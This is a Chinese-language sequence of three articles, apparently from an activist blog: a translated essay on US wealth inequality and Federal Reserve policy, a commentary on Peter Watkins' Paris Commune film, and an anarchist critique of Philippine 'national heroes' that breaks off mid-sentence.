如果您每年赚取31,000美元，即今天美国个人的中位数工资，那么您的收入将是税后的金额（也包括联邦，州，社会保障和医疗保险）平均而言，这意味着您将获得约26,000美元。

然而，如果你的财富是1,000,000美元，并且你把它存入一个支付2.25％利息的储蓄账户，那么你可以得到大约22,500美元，并且在税后，剩下大约19,000美元，你什么都不需要做。

现在排名前1％的富人平均带回家的收入是占据社会90％的最低收入阶层40倍。“财富就是力量”，正如亚当·斯密在近几个世纪前的“国富论”中经常提到的那样。遗憾的是，这句格言似乎很少过时。

显然，如果你在这个国家继承财富，你就会立即在整个游戏中处于领

先地位。在美国，所有财富的三分之一到近一半都是遗产而不是亲手创造的。据“纽约时报”调查，例如，唐纳德·特朗普从出生开始就从他亲爱的老爸那里获得了大约4.13亿美元（以今天的价值计算）和另外1.4亿美元的贷款。对于一个“商人”来说，开始建立帝国的道路很平坦，这个帝国已经成为总统竞选活动的平台。特朗普做到了这一点，换句话说，是老式的方式—通过继承。

美联储是国家的中央银行，负责决定货币成本，并在2007–2008年（以及之后）金融危机之后维持华尔街的支持，最终指出了这种极端的不平等程度对于全国其他地区的影响。正如美联储主席杰罗姆·鲍威尔2月初在华盛顿市政厅所说，“我们希望繁荣得到广泛分享。我们需要制定政策来实现这一目标。“ 可悲的是，美联储在很大程度上有助于增加而不是减少一直在扼杀金融和政治体系中的系统性不平等。

这些都不应该令人感到意外，因为大部分超额资金直接流向大银行，富豪投资者和投机者。然后他们用它来投资股票和债券市场，但不是那些对财富之外的所有公民都很重要的事。

问题是：为什么不平等和有缺陷的经济体系相互促进？作为一个起点，能够在美联储政策的推动下投资股市的人只会以指数方式增加其财富。当然，大多数人并没有投资于股票市场，也没有投资任何东西。他们负担不起。重要的是要记住，将近80%的人口靠薪水维生。

最终结果是：财政危机急剧增加，排名前1%的富人不依赖薪水来增加他们的财富。飙升的股票市场不成比例地帮助这些富人。这也是为什么美联储对华尔街银行的补贴政策只会增加极少数人的极端财富。

这种不平等造成的负面清单确实很长。首先是巨大的债务。最底层的90%是全国家庭债务约四分之三的拥有者。抵押贷款、汽车贷款、学生贷款和信用卡债务累计达到创纪录的13.5万亿美元。

而这只是滑坡的开始。正如Inequality.org报道的那样，财富和收入不平等影响“从预期寿命到婴儿死亡率和肥胖症”等一系列问题。例如，高度的经济不平等和健康状况不佳密切相关，或者说另一种方式，不平等会损害国家的整体健康状况。根据学术研究结果，收入不平等使人们生病，这句话就是字面上的意思。正如一项研究所说，“病态和贫困的经济基础设施导致了病态和贫困的身体或思想。”

美国擅长铸造百万富翁。从全球来看，它的财富集中度最高，为41%（另外24%的百万富翁俱乐部可以在欧洲找到）顶层的1%的富人的收入是全国平均水平的40倍，拥有该国总财富的38.6%。任何其

他发达国家的最高数字“仅”为28%。然而，这不是美国的特例，不平等已经是一种全球趋势，中国在此已经非常明显。

亿万富翁俱乐部才是真正的俱乐部。据乐施会称，最富有的42位亿万富翁的总财富与全球最贫穷的50%人口相当。但请放心，在这个镀金的世纪里，即使在亿万富翁群体内部也存在不平等。毕竟，其中最富有的10个人拥有全球总财富7450亿美元。名单中的下一个10位只有4515亿美元，就更不用说再下一个十位了。

乐施会最近还报道说，“亿万富翁的数量几乎翻了一番，2017年至2018年间每两天就有一位新的亿万富翁产生出来。他们现在拥有的财富比以往任何时候都要多，而几乎一半的人类仍没有摆脱极端贫困，生活在每天5.50美元的生存挣扎中。“

富人只会越来越富裕，而且这种差异正在以历史性的速度发生。更糟糕的是，在过去的十年中，真正的富人们获得了额外的好处。他们可以扩大因金融危机而贬值的资产，而在这块巨大财富的另一边，他们的许多同行在2007–2008年的金融危机影响中仍没能完全恢复。

从那以后我们看到的是，金钱如何通过银行和大规模的投机继续向上流动，而那些不在金融食物链顶端的人的经济生活基本上停滞不前或变得更糟。当然，结果是，在上个世纪的大部分时间里，这种不平等程度可能是不可思议的。

最终，我们都将不得不面对整个经济中的黑云。现实世界中真实的人，不是最高层的人，经历了十年不稳定的变化，而这个超越镀金时代的不平等差距肯定会塑造一个真正凌乱的世界。换句话说，没有善终。

作者 Nomi Prins 是前华尔街高管，她的最新著作是《合谋：中央银行家如何驾驭世界》

Survival of the Richest: Those in power will remain in power unless acted upon by an external force. Those who are wealthy will only gain in wealth as long as nothing deflects them from their present course.

原文

历史记忆作为武器：巴黎公社150年周年纪念之际，重温这部电影 - iyouport

免费书和纪录片社会反抗和思考

反思真正的巴黎公社事件，并加入我们这个时代的斗争

【按】今年是巴黎公社150周年，不同的人们都在以“自己的形式”纪念这场历史运动 —— 对自己有利的形式。这其中就包括一直在伪装革命者的镇压者。当然，也必需包括当今时代的行动者。

我们错开了3月下旬关于该话题的高峰期，移至现在发布这篇文章，就是希望避免被镇压者操控的网络舆情淹没行动者思考的机会。不论您如何理解巴黎公社，它都能为当今的反抗者带来激情和力量，更好的是，对战略智慧的反思。

如果您想要获得这些收益，那就要从了解正确的历史开始。

在革命性的巴黎公社成立150周年之际，行动主义团体再次放映了英国籍导演彼得·沃特金斯（Peter Watkins）制作的这部实验电影，以唤起公社的精神。这是对媒体作用的大胆挑战，也是历史记忆作为武器的一个例子。

将影片嵌入此处，邀请您一起观看和讨论它，以反思真正的巴黎公社事件，并加入我们这个时代的斗争。

【注：彼得·沃特金斯（Peter Watkins）英语电影和电视导演。他出生在萨里的诺比顿，在瑞典、加拿大和立陶宛生活了很多年，现在住在法国。他是纪录片的先驱者之一。他的电影以非传统的风格呈现了和平主义和反抗思想。】

电影

「图」

这部电影全长5小时45分钟，以下分为两个部分展示。

（La Commune 1871，第一部分。请注意，第一部分在 2:44:20 结束，这时您应继续进行下面的第二部分）

（La Commune 1871，第二部分）

无政府主义期刊提出过这样的问题：反抗者是否应该将解放理解为对当前价值观和欲望的完善、还是对它们的彻底拒绝？人们可以对激进电影提出一个平行的问题：是挪用流行美学并将其与强大的主流对立，还是在拒绝产生这些美学的制度的过程中违反这些美学更好？一部完整的好莱坞史诗，完整的明星演员阵容和电脑三维动画，会比居伊·德博 (Guy Debord)著名的空白屏幕更有效地吸引观众到街头堡垒的另一边吗？还是仅仅利用反叛的欲望，把更多的观众铆在座位上在心底宣泄？

1871年，在与德国的灾难性战争结束后，巴黎经历了一场人民起义。反叛者将政府军赶出城外，召开了一个由可立即召回的代表组成的议会，并试图在妇女解放、工人自我管理和公共教育方面进行各种雄心勃勃的社会实验。两个月后，在德国人支持下的反动反攻夺回了这个城市，不过反抗者依旧逐街逐巷地进行了战斗；侵略者直接杀害了数万巴黎人，后来又处决或驱逐了数万人。无政府主义者称公社是第一次无产阶级革命；另一方面，正如爱德蒙·德·龚古尔 (Edmond de Goncourt) 所写的那样：

“这样的流血，杀死叛乱的一部分人，就能推迟了下一次革命 …… 给这个旧社会换来二十年的和平。”

1999年，持不同政见的电视和电影导演彼得·沃特金斯（Peter Watkins）开始着手用一部电影来描述这场起义，目的是要像公社本身一样具有横向性和实验性。

根据他们要塑造的历史人物的阶级和政治，招募了数百名演员，从粗犷的激进派到资产阶级保守派不等；大多数人之前没有表演经验。他们组成学习小组，了解公社选民和反对者的生活，讨论1871年的巴黎与现代欧洲之间的关系。

在电影先驱乔治·梅里爱（Georges Méliès）的工作室所在地，一个代表巴黎工人阶级的第11区（那场起义最后倒下的地区之一）的场景被建在一个废弃的工厂内。在这样的环境下，演员们从头到尾表演着巴黎公社的故事，而摄影组则像记录当下的动荡一样，飞快地拍摄着。你可以把它称为历史记忆的剧场，但效果更像是一场降神会，参与者邀请殉难者的灵魂附体，以1871年时的紧迫感传递公社的信息。

今天，这部电影仍然让人感到震撼，虽然不一定是不愉快的体验。虽然服装和室内装饰令人信服，但沃特金斯从不掩饰布景的边缘，像贝托尔特·布莱希特那样破坏了电影作为表现的“权威”。同样，沃特金斯通过反动的凡尔赛电视台和激进的公社电视台这两个对立的电视频道的报道来反差性地描述这场起义，强调任何对公社的描写都必然是通过我们这个时代的视角来进行的。

【注：欧根·贝托尔特·弗里德里希·布莱希特德国戏剧家、诗人。他的剧作在世界各地上演。布莱希特创立并置换了叙事戏剧、或称“辩证戏剧”的观念。贝尔托·布莱希特生于德国巴伐利亚奥格斯堡，年青时曾任剧院编剧和导演，并投身工人运动。1933年后因纳粹党上台而被迫流亡欧洲大陆。】

通过明确要求观众暂缓怀疑 ——“我们要求你们想象现在是1871年3月17日”—— 电影制作人达到了相反的效果，使观众无法产生重演发生在自己的世界之外的错觉。因此，这部电影避免了亚里士多德所描述的作为悲剧剧目的宣泄，即 人们在受控的环境中经历了一次情感的释放，却又回到了自己的普通生活中：“这不就是一个悲伤的故事吗！”

公社电视台没有关注历史上的布拉德·皮特和奥黛丽·多杜，而是以长剪辑的方式游走在人群中，像一个杂乱无章的 Indymedia 视频那样，把平等的时间给了几十个人。演员和摄制组明显的即兴发挥，成功地唤起了那场起义中巨大的混乱能量：紧迫与无序、欣喜与恐惧的交替、多种声音、欲望和活动同时发生。

【注：独立媒体中心（Independent Media Center）是一个由活跃的新闻工作者团体组成的开放式出版网络，负责报道政治和社会问题。1999年“反资本狂欢节”在伦敦和悉尼开端，随后成立了第一个Indymedia媒体中心，以报道针对西雅图世界贸易组织部长级会议的抗议活动。】

随着政府的反动势力开始从外部轰炸巴黎，公社内部的权力斗争也在发展，打开了无政府主义者与共产党人和其他社会主义者的分界线。行动者们权衡了所谓的集中力量以协调城市防务的必要性，以及公社作为一种纯粹的、甚至是注定的解放姿态的理想；随着争论的加剧，一些演员脱离了角色，对布尔什维克革命和喀琅施塔特的叛军屠杀进行了辩论。学习某种东西的方法就是教授。打造自己的东西的方法是为之奋斗。沃特金斯将此逻辑扩展到了电影院，将电影制作视为自我教育的传染性过程。

公社电视台的记者们经历了一场平行的分裂。其中一个 —— 也许是为了代表彼得·沃特金斯，而且无论如何是由他的儿子饰演的—— 面对另一个独裁的公共安全委员会为巩固权力而假装客观感到愤怒。“从现在开始，我们将提出我们的意见，就是这样，否则我就回家！” 就像现实生活中的沃特金斯那样 —— 他为法国电视台制作了这部电影，却看到它被压制了 —— 电影中的记者也因顾虑而离开了电视组。

今天，当电视在很大程度上被网络媒体平台所取代时，我们很难想象这个媒介还能发挥什么功能。我们很难将技术的缺陷与它在这个社会的成型方式分开，也很难将它反过来塑造我们的社会。资本主义剥夺了人们的想象力和历史偶然性意识，使我们无法想象或记忆人类文明中的任何发明如何在其逻辑之外得到应用。撇开卢德主义者的泛泛而谈，我们能制作出任何类似 “电影” 的东西而不至于让数以百万计的人们沦为看客，并在讨价还价中融化极地冰盖吗？我们可能永远也找不到答案。但令人感慨的是，就在二十年前，一个叛逆的导演，因为企业的阻挠而注定默默无闻，还在努力为那些没人走过的路树立路标。

今天，银幕娱乐无处不在，但这并不能证明革命性娱乐的必要性——相反，它似乎表明这种事是不可能的。即使是居伊·德博的空白屏幕也仍然是一个值得思考的奇观，它在欧洲博物馆中的存在就证明了这一点。然而我们也可以把沃特金斯的《公社》看作是一种努力，以发现一种叙述历史的方式，使其未解决的问题重新发挥作用。无论对观众来说是否达到了这个目的，对演员来说，它似乎已经达到了，其中一些人在影片上映后很长时间内继续围绕影片所带来的问题进行组织。可以想象，在试图化身革命者而又不停止自我的过程中，演员们被迫与他们自己的时代以及**1871**年的时代的不公正和可能性亲密接触了。

从观影的角度来看，这种个人的参与也是影片最大的优势。虽然前面的一些段落会有些拖沓，但影片建立在一个激动人心的、不同寻常的高潮上。由于故事的结局是已知的，它们的力量只能来自于其中所展现的激情的真实程度—— 换句话说，来自于巴黎公社的爆炸性冲锋在我们这个时代的回响，因为它未解决的问题又开始发挥作用了。这强调了本片的基本信息：不仅历史会重演，而且所有未解决的冲突都会在当今的虚华表象下继续沸腾。正如一位公社社员在结尾处以一种惊人的真诚所作出的宣告那样：

“如果***2000***年巴黎还有任何路障，我会在那里战斗！”

今天，我们都理所当然地认为，拍电影的几百人的经历不如看电影的

几千人或几百万人的经历更重要；像沃特金斯的《公社》这样的实验电影被断然拒绝，因为它不尊重观众，而且作为宣传工具也没有效果。但是，在一个以产品为导向的社会里，很少有人把电影看作是行动的邀请而不是消费主义，也许几百人参与到一个赋权的过程中，比任何一部由数百万人观看（消费）的大片更有意义。

此外，如果这在银幕上表现为真实发生的事，或许也能挑战观众的被动性。本着这种精神，我们邀请大家观看并讨论彼得·沃特金斯的《公社》，反思真实的巴黎公社的历史事件，并激烈而勇敢地参与到我们这个时代的斗争中来。

引用阿米里·巴拉卡的一句话："新的现实比新的电影更好"。革命不会被电视直播。La Commune: taking aim at spectatorship itself.

进一步阅读

「图」

推荐以下历史材料：

- Raoul Dubois 的 "A l'Assaut du Ciel—: la Commune Racontée"
- Carolyn J. Eichner 的 "超越路障：巴黎公社的女性们"
- Martin Phillip Johnson 的 "1871年巴黎公社的政治文化和大众组织"
- 普罗斯珀-奥利维耶·利萨加雷 "1871年巴黎公社的历史"
- 路易丝·米歇尔 "公社"
- Kristin Ross "共同的奢侈品：巴黎的政治想象"

（彼得·沃特金斯的反抗：这部实验电影之后的纪录片。）

○□

Peter Watkins: The Paris Commune, 1871

原文

去它妈的民族英雄 - iyouport

社会反抗和思考

【2021年5月23日存档】英雄，特别是民族国家英雄，究竟是什么？

每个国家都有民族英雄，每个政权都鼓励人们崇拜英雄，被认为 “污蔑英雄” 的人在很多国家都会遭受惩罚，至少是被鄙视；“执法者” 甚至寻求杀鸡儆猴，抓捕那些 “对英雄不敬” 的人，以期强化大众被灌输的认知。

但是，反抗者应该明白，所谓的民族英雄究竟是如何被雕刻在基座上的。尤其是，我们应该要的是什么。

为了呈现本文的主题，并同时避免分享本文的中国朋友遭受麻烦，我们绕开中国，讨论另一个非常相似的国家 —— 但是，您应该知道，本文的意义是什么。它已经写明。

在菲律宾，每当庆祝某个英雄的出生或死亡纪念日时，英雄这个概念就像幽灵一样萦绕在教室和听众的心头。这些幽灵就悬挂在参与者的头顶上，人们知道，一些关于勇敢、美德、才能以及对自由和团结的奉献的激昂演讲肯定会随之而来。

2020年7月，一场这样的演讲就发生在菲律宾共和国跳动的心脏上。

众所周知的暴君罗德里戈·杜特尔特利用他的 “国情咨文” 演说来恢复对何塞·黎刹、革命领袖安德烈·博尼法西奥、和激进记者马塞洛·德尔·皮拉尔等英雄的记忆，将这些人塑造成菲律宾人应该效仿的榜样。

杜特尔特将这些英雄与那些所谓的 “通过滥用言论自由和行动自由而实施恐怖的人” 进行对比，巧妙地提到了他对自由主义者和左翼反抗者的抵制。

在2020年11月30日的安德烈·博尼法乔日，杜特尔特再次表示，他希望菲律宾人效仿博尼法乔的爱国主义精神和勇气，以创造一个公正、

进步和包容的社会，特别是在这个国家被COVID 19大流行病的挑战所困扰的时候。

当然，在他的政权下的共和国没有任何公正、进步和包容性，他从一开始就把国家的疫情应对工作搞砸了。

不久后在这里看到这个故事《共产主义者，恐怖分子，恶魔：社会互助的直接行动缘何成为被攻击的目标》（尚未发布）

英雄的概念，特别是“民族英雄”，被灌输到整个国家的集体意识中。他们把这些人放在一个基座上，让公民敬佩和效仿。

这些所谓的英雄可以来自任何背景 —— 独立战争期间的政治军事领导人，为维持或重获自由或安全感而牺牲的烈士，以及被视为神话或传奇的古老人物。

他们的名字被贴在其家乡的公立学校和图书馆里，他们的肖像在城市公园里被塑造成不朽的雕像，他们的生活每年都在公民教育课上被讲述。不知何故，在我们没有注意到的情况下，他们进入了我们的心灵，因为父母、政客、老师和历史学家们不断地提到这些人。

仿佛通过某种集体协议，这些人成为了公民形象的理想化版本。这些英雄之所以被宣传，是因为他们在有生之年所采取的行动，以及他们的生活如何促成了我们目前的状况。

人们被聚拢在对他们的记忆周围，学习他们所拥护的原则，以便今天的人们能够继续他们的遗产。有时，人们的任务就是“去想想在这种情况下英雄们会怎么做”，就像直接从 Facebook 上看到的那些俗气的励志名言。卡蒂普南 (Katipunan)，菲律宾一支反西班牙的秘密革命社团

民族英雄的性质

「图」

由于政府和社会是由那些有幸在菲律宾革命中幸存下来（或有幸在革命中改变立场）的人所领导的，那些成为菲律宾领导人物的人都致力于颂扬革命的民族主义卡蒂普南（一个成立于1892年的反对西班牙殖民统治的秘密协会），提升那些他们曾经生活、工作和战斗过的人，如何塞·黎剎和马塞洛·德尔·皮拉尔。

问题是，如今的大多数人从上一代人那里继承了这些英雄，却不了解他们被钦佩、甚至被彻底崇敬的任何背景原因。

这种情绪对菲律宾来说并不新鲜。早在1969年，民族主义历史学家雷纳托·康斯坦丁诺（Renato Constantino）就在第三次全国“黎刹讲座”中讨论了菲律宾“民族英雄”何塞·黎刹的遗产和传奇，该讲座于1971年以“不理解的崇拜”为题出版。

引用一下：

“在他的时代，改革派的黎刹无疑是一支进步的力量。在我们今天生活的许多领域，他的思想仍然可以成为一种有益的变革力量。然而，对黎刹崇拜的本质是，由于盲目的崇拜和对他最有说服力的思想的普遍无知，他正被转化为认可现状的权威。”

这就是为什么对历史的批判性评价要求现在的人们拒绝本土文化中的英雄概念—— 英雄是在他们所处的时代环境中诞生的。他们不是简单的被崇拜的偶像。相反，对他们的记忆，被现在的当权者用来压制那些真正渴望效仿他们的勇气和颠覆性的人，即：当下的反抗者们。菲律宾民族英雄何塞·里扎尔

英雄的真面目

「图」

在所有关于英勇和荣耀的浪漫故事中，人们很容易忘记，这些人和我们所有人一样，都有自己的缺点、弱点和失败。对于他们在战场上的所有能力，在整个国家进行动员和组织的技巧，或者文学和诗歌方面的专长，关注并只展示他们生活的这些方面是不符合历史的错误信息。

黎刹被战后作家尼克·华金称为“哈姆雷特”和“优柔寡断”，因为他拒绝参加他自己的作品《我的使命》（Noli Me Tangere）和《菲律宾》（El Filibusterismo）所煽动和激发的伊鲁斯特拉多革命。即使越来越多的菲律宾人—— 不仅仅是他加禄人，还有来自中吕宋、米沙鄢和棉兰老岛的人—— 都参加了他们自己的起义，反对日益专制而又脆弱的殖民政府，黎刹甚至还为西班牙军队提供服务，反对古巴的另一场革命。

安德烈斯·博尼法乔，尽管他在将卡蒂普南协会扩展到整个群岛方面具有组织上的天才，但是，在加洛坎和圣胡安与西班牙人的战斗中却没

有获得成功。更糟糕的是，当他面临试图将他在马尼拉和莫隆（现在的黎刹省）的斗争与卡维特省的叛乱联系起来的任务时，他没有试图弥补导致运动投降的分裂，而是玩弄了卡维特省上层领导人的派系主义和小打小闹。这无意中导致了这一阶段革命的失败，而且正如人们以后所看到的那样，导致了帝国对该群岛的“同化”，为另一个殖民帝国的掌权铺平了道路。

菲律宾第一任民选总统埃米利奥·阿吉纳尔多（Emilio Aguinaldo）感觉到，随着叛军控制的卡维特省的据点落入西班牙人之手，菲律宾革命很快就会被打败，于是他们躲在布拉干省的圣米格尔镇。在那里，所谓的“比亚克·纳·巴托共和国”制定并通过了一部宪法，并与西班牙人谈判，以大赦和支付现金为交换条件，让革命领导人全面投降并流亡。然而，在他流亡期间，美国外交官和军事领导人劝说阿吉纳尔多回来，在美国陆军和海军的非官方支持下继续战斗，他们的目的是为美西战争增加一个战场。

结果，阿吉纳尔多和他的同伙无意中背叛了普通菲律宾人的利益。总统这样做是为了在美西战争中默默地支持美国，此前，斯宾塞·普拉特领事找到他，劝他重新开始革命，并承诺美国将支持他获得独立。然而，这一切都是骗人的，因为他们的真实意图实际上是将整个群岛据为己有。

其结果是，在马尼拉战役中，这些“民族英雄”被帝国所欺骗，美国与西班牙人勾结，发动了一场模拟战役，以阻止菲律宾人占领首都马尼拉，而这正是革命的主要目标。后来，当独立事业似乎徒劳无功时，自治主义者也背叛了这些利益，计划接受帝国对群岛的统治。

随着革命的失败，美国成为新的殖民主宰。随着时间的推移，美国的殖民国家发展成为菲律宾联邦。虽然那些人认为自己的意图是好的，但他们仍然在追求他们自己的经济和社会利益，而不是菲律宾人民的。像曼努埃尔·奎松（Manuel Quezon）、塞尔吉奥·奥斯梅纳（Sergio Osmeña）、卡耶塔诺·阿雷利亚诺（Cayetano Arellano）和佩德罗·帕特诺（Pedro Paterno）这样的人，成为帝国在菲律宾的新殖民主义的基础和延续的帮凶。Magdalo Group

后来，像阿特米奥·里卡特和埃米利奥·阿吉纳尔多这样的前革命者再次将菲律宾人民的自由和独立暴露在帝国主义和法西斯主义的威胁之下，他们在第二次世界大战期间支持日本人，前提是他们可能给予群岛“独立”。

当然，这种对英雄的崇敬问题并不局限于菲律宾的英雄。在整个世

界、整个世纪和意识形态中，广受赞誉的领导人和思想家都无法避免犯错，即使他们认真地追求解放。

作为追求自由的人，您不需要再去看那些塑造了当下的哲学和运动的早期历史的一些古典名人了。

皮埃尔·约瑟夫·蒲鲁东是第一个宣布自己是“无政府主义者”的人，他今天仍然影响着互助主义者和市场无政府主义者。然而，蒲鲁东曾经表达了性别歧视、厌恶女性和反犹主义的思想 —— 在不同的时候，他认为女人的选择只有成为“一个歌妓或管家”，而犹太人是“人类的敌人”。

在著名的革命家米哈伊尔·巴枯宁到达无政府主义之前曾一度接受过泛斯拉夫主义，认为这是一条通往解放的道路（错得很荒唐）。在他生命的早期，他显然相信沙皇的必要性，“认为沙皇能够真正与人民合作，而人民能够通过国民议会将其意志强加给沙皇”。他最终摆脱了这种信念，但后来，他又表达了反犹主义的想法，把犹太“教派”等同于资本主义金融家和银行家，因为资本主义在他的时代发展起来了。马尼拉的博尼法西奥神社描绘了菲律宾英雄和菲律宾革命

那些惊吓我们的幽灵

「图」

那些统治我们的人需要把我们从许多曾经的英雄为维护的直言不讳和异议的传统中疏远出来。统治者需要羞辱我们，让我们记住是他们带来了我们今天生活的所谓共和国。他们需要向人民证明他们自己，如果没有所谓的开国元勋那样的鼓舞人心的人物，人民会把他们的统治者与贪婪和恶意联系起来，而不是“革命的延续”。

验证其统治的需要才是军队等国家机构援引民族英雄的真正原因。军队用自由战士的名字为他们的训练营增光添彩，这些自由战士恰恰拒绝了灌输和道德败坏，而接受灌输和道德败坏正是如今那些拥挤在军营中的士兵的特点。

当权者利用死去的诗人和小说家为他们今天对新闻和言论自由的攻击寻找借口。今天，他们已经成为当年的殖民者，与那些曾经为了给菲律宾带来自由思想而发挥作用的人作斗争 —— 反抗者被改称为“恐怖分子”了。当今天的政府中一部分人在庆祝一个与宗教团体及其审查制度作斗争的人的死亡时，另一部分人刚刚通过了一项强加审查制度的“反恐法”。

那些掌权国家的人提醒人们，建立这些国家需要付出所有的牺牲，即使几十年或几百年前在帝国和资本主义的战争中死去的战士与今天掠夺和破坏少数民族和工人社区的蠢猪和哈巴狗们相去甚远。

由于这种灌输的结果，人们不仅给“既定”的英雄以太多的荣誉，而且，在我们试图审视我们的历史时却忽略了其他许多人。当国家强迫孩子们一遍又一遍地学习同一个死人的出生日期和家乡时，老师们对那些值得真正反思的人 —— 无论是死的还是活的 —— 都一笔带过，甚至直接模糊了。Pierre-Joseph Proudhon

那些被遗忘的人

「图」

有一些人对他们的时代来说过于激进了，他们支持菲律宾的独立和自治运动，拥护对当时的人们来说根本是陌生的思想和信仰。

在19世纪末，受过欧洲教育的伊鲁斯特拉多人（Ilustrados）受到了关于经济自由、世俗化和自由民主的自由主义思想的影响。虽然无政府主义的做法在菲律宾存在，但真正的运动只是在伊莎贝洛·德洛斯·雷耶斯回国后才出现的。在菲律宾革命前夕，德洛斯·雷耶斯被西班牙殖民当局流放到臭名昭著的蒙特尤克军事监狱。在那里，他遇到了无政府主义者，他们通过书籍和期刊向他介绍了无政府主义思想。出狱后，他进一步接受了无政府主义者的指导，沉浸在马德里和巴塞罗那的革命运动中。这些影响了他在菲律宾局势中的行动，该局势在作为民族英雄的阿吉纳尔多在菲美战争中失败后于**1901**年开始。

当所谓的 sajones —— 受过美国训练和教育的精英 —— 在群岛上占据权力和政府职位时，德洛斯·雷耶斯与多米纳多·雷耶斯、赫尔曼尼基尔多·克鲁兹和帕斯卡尔·波夫莱特一起，成立了民主劳工联盟（UOD），这是该国第一个劳工联合会。他们将马尼拉的工人和其他 FIlipinos 联合起来，为菲律宾的独立进行鼓动，并为保护性的劳动法而斗争。工会还以援助儿童教育和伤病员医疗的形式开展互助活动。

随着UOD的出现，一系列无政府主义组织继续为工人、农民和菲律宾人对抗外国和本地的侵略和既得利益而奋斗。然而，今天几乎没有人知道他们的名字。

还有一些人只是被认为与主流太过不同；有些人“过于激进”，而其他人的个性和身份则使他们无法成为著名的英雄。女性，尽管她们在几个世纪以来一直对整个群岛的反抗做出贡献，但与她们的男性同行相

比，几乎没有人认识和记住她们。

她们用自己的宗教偶像来维持自己的信仰，这种信仰一直保留到今天，颠覆了教会和国家。因此，尽管外国思想对本土社会产生了影响，但它们并没有完全渗透到其中。相反，这些现在无名的人物和社区抵制殖民主义的斗争，才是真正保留了今天菲律宾文化的基础。

后来，当七年战争的战线随着马尼拉的入侵而在该群岛开辟时，像伊洛科斯地区的加芙列拉·西朗这样的人物领导了反对西班牙和英国的地区起义。在1896年革命的早期阶段，梅尔乔拉·阿基诺为卡蒂普南叛军提供了医疗援助和食品。1899年至1901年期间，当战争从与西班牙作战转为与美国作战时，特雷莎·马巴努阿和特立尼达·特克森在他们的家乡省份领导了起义。尼韦斯·费尔南德斯和无数其他女性反抗者在第二次世界大战中与日本作战的游击队中发挥了重要作用。

而当年打败日本法西斯的许多胡克族游击队领导人在今天孩子们的课堂上仍然默默无闻，因为胡克族也敢于反叛后殖民国家。

还有很多，人们甚至不记得他们的名字，可能是因为老师们只在五年级的公民课上听到过一次这些名字 —— 如果有的话。而课本中提到这些人的时候，好像他们对自己的国家和群岛上更大的斗争的贡献是没有意义的，好像在1896年和菲律宾革命之前什么都不重要。Dios Buhawi（中），19世纪反殖民统治的政治起义领袖

在现代社会中

「图」

有些人被 “大社会” 视为无足轻重，他们被遗忘和忽视，但他们比今天站在基座上的任何英雄都更加重要。

他们是国内和国外的劳动者，他们从事琐碎的工作，特别是家庭和家务工作—— 当他们被老板侮辱、虐待和过度劳累时，他们站起来反抗；

他们是被当权者认为的不稳定因素：工会成员、青年活动家、气候倡导者和记者，他们被非法拘留、被逮捕、被攻击、被强迫失踪，被发现时满身的刺伤和子弹；

他们是艺术家和演员，试图通过他们自己版本的艺术和文化来打开人们的思想，以新的想法和新的方式来解决旧的问题，但却发现自己被

指责或不公正地逮捕；

他们是那些生活在贫困线以下的人，无论是担心自己的生计被剥夺的渔民和农民，是那些生活在城市中拥挤的公寓和棚户区、在经济的底层工作的人；

他们是那些成为杜特尔特的毒品战争、消费税和“发展项目”的受害者的人，这些项目是由那些旨在使人民的所有劳动变得毫无用处的家伙发起的，他们拿走了人民所有工作的价值，抬高了商品的价格以剥削老百姓仅剩的钱 ……

没有这些被遗忘的“英雄”，社会就不会运行，也不会发展。没有他们，我们将缺乏声音和行动来改变我们的社区和我们居住的国家的状况。如果没有这些人几个世纪甚至几千年来所承担的不辞辛劳的工作，那些今天被堆在雕像台座上的所谓“民族英雄”们都不会存在。

然而，那些当权者不会听这些公民的话。对当权者来说。屈服于无名者的要求，就意味着放手他们的权力结构，放手他们的肤色、语言、企业、枪支和法律的优越性。那些当权者永远不会称这些无名之辈为英雄，即使他们理应如此。

有名的和无名的

「图」

因此，我们来到了矛盾之处，即：社会上有名望的人和无名望的人，那些被时间和记忆遗忘的人之间的冲突。前者是本文中详细讨论过的所谓“伟人”；后者是那些为我们今天的斗争做出巨大贡献的人，他们预示着、发起并继续沿着自主、独立和自决的方向的漫长道路。

今天的人们是受这些记忆影响的人，我们仍然被那些兜售英雄的宣传者所左右。我们是那些在世界各地的产业中工作和劳作的人，为所有人的需求和愿望提供服务，但却没有得到我们劳动的价值或成果。我们是那些在现状下受苦的人，是那些在世界许多形式的压迫和剥削下的接受者，包括种族、性别、能力、社会地位、教育和语言。

我们这些人，如果不是为了面包和马戏团，为了民族英雄所扮演的滑稽盛况，就会意识到我们受到了多大的委屈，有多少事需要纠正。

如果我们继续这个问题，就会得出另一个问题：“明天，谁会被认为是这个时代的英雄？”

我们已经知道那将是谁了 —— 它将是那些体现当前社会及其统治阶级的理想的人，或者至少是他们所创造的理想的外表；将是那些作为国家运动的品牌名称的人，使专制主义看起来更好。围绕着这种英雄的崇拜只是强调了当前政府与被剥夺者的精神是多么的疏远。这种盲目的崇拜正是那些因其真正的勇敢、技能和毅力而值得同样尊重和荣誉的人仍然无名的原因。

如果我们继续走这条路，那些推动社会变革和反对现状的人将不会成为未来的英雄。是的，总是会有例外 —— 总是会有正确的方向，以及我们所倡导的事业的胜利。但是，现在，那些没有权力为我们的需要和自由采取行动的人仍然无名。

我们继续前人的斗争，为自我身份和尊严而斗争，为看到我们的需求在这个社会中得到重视而斗争。

我们需要什么？

「图」

许多人被宣布为现代英雄。人们称颂他们为我们所做的一切，赞扬他们的勇气和英勇。然而，有些人不愿意被认为是英雄，而且确实，把他们都称为英雄掩盖了我们所处的现实情况。

对许多人来说，他们为了周围人的利益，以自己的安全为代价而采取的行动，是我们的社会可以轻易避免的问题迫使他们采取行动的。他们在艰苦的条件下劳作，同时仍然遭受政府、企业和统治阶级的监视 —— 这些统治阶级加剧了那些问题，甚至就是造成那些问题的人。

至少按照这里的定义，英雄是不需要存在的。我们可以仰望别人，尊重和纪念他们，但没有必要把任何人当作神，没有必要抬高任何人，以至于使他们的成就显得徒劳。

我们不需要完美，我们也绝对不需要一个强加给我们的理想，以至于我们心甘情愿为那些从我们的劳动和痛苦中获利的人拼命工作。我们不需要烈士来告诉我们自由的代价是血。我们不需要士兵向我们保证军事服务将保持我们的社区团结。

我们不需要死去的作家和演说家向我们展示文字的力量，每句话中的力量至今仍在激励着人们。

我们不需要法官来告知，对正义和平等的渴求将永不停止。我们尤其

不需要那些举着名誉大旗掩盖他们一生中所追求的自私利益的政客。

那么，我们需要什么？

我们需要向那些被老板、房东和政府忽视的人们表示感谢；我们需要向他们表明，他们应该像其他人一样生活和发展；

